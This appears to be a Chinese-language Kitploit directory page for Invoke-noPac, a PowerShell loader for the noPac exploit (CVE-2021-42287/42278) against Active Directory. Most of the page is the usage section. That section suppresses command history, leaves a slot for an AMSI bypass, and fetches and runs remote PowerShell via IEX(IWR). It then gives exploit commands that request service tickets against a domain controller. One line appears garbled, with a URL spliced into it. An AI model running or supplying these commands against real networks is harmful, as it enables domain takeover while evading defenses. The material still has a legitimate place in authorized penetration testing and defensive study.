Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Invoke-noPac — .Net 程序集加载器,用于 [CVE-2021-42287 - CVE-2021-42278] 扫描器与漏洞利用工具 noPac | Kitploit
工具/GitHubGitHub/ricardojba/invoke-nopac
身份验证与授权权限提升漏洞扫描器Payload生成漏洞利用渗透测试
GitHubricardojba/invoke-nopac

Invoke-noPac

.Net 程序集加载器,用于 [CVE-2021-42287 - CVE-2021-42278] 扫描器与漏洞利用工具 noPac

查看仓库
621343年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Invoke-noPac

该 .Net 程序集基于我的 fork https://github.com/ricardojba/noPac,其中包含一些代码改动以改进原版。

PowerSharpPack 风格的 .Net 程序集加载器,用于 [CVE-2021-42287 - CVE-2021-42278] 扫描器与漏洞利用 noPac。

用法:

root@kitploit:~
Set-PSReadlineOption -HistorySaveStyle SaveNothing

<Insert-Your-AMSI-Bypass-From-AMSI.FAIL-Here>

[Net.ServicePointManager]:https://raw.githubusercontent.com/ricardojba/invoke-nopac/main/:SecurityProtocol=%5BNet.SecurityProtocolType%5D::Tls12
# [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

[system.net.webrequest]::defaultwebproxy = new-object system.net.webproxy('http://proxy:8080')
[system.net.webrequest]::defaultwebproxy.BypassProxyOnLocal = $true
[system.net.webrequest]::defaultwebproxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials

# [system.net.webrequest]::defaultwebproxy.credentials = Get-Credential

IEX(IWR -UseBasicParsing -UserAgent "hi-there-blueteam" 'https://raw.githubusercontent.com/ricardojba/Invoke-noPac/main/Invoke-noPac.ps1')

Invoke-noPac
Invoke-noPac -Command "scan -domain full.domain -user domain_user -pass Password123!"
Invoke-noPac -Command "scan -domain full.domain -user domain_user -pass Password123! /enctype rc4"
Invoke-noPac -Command "-domain full.domain -user domain_user -pass Password123! /enctype rc4 /dc dc.full.domain /mAccount testmachine /mPassword testmachinepass /service cifs /ptt"

致谢

cube0x0 创作了原版 noPac。

下载工具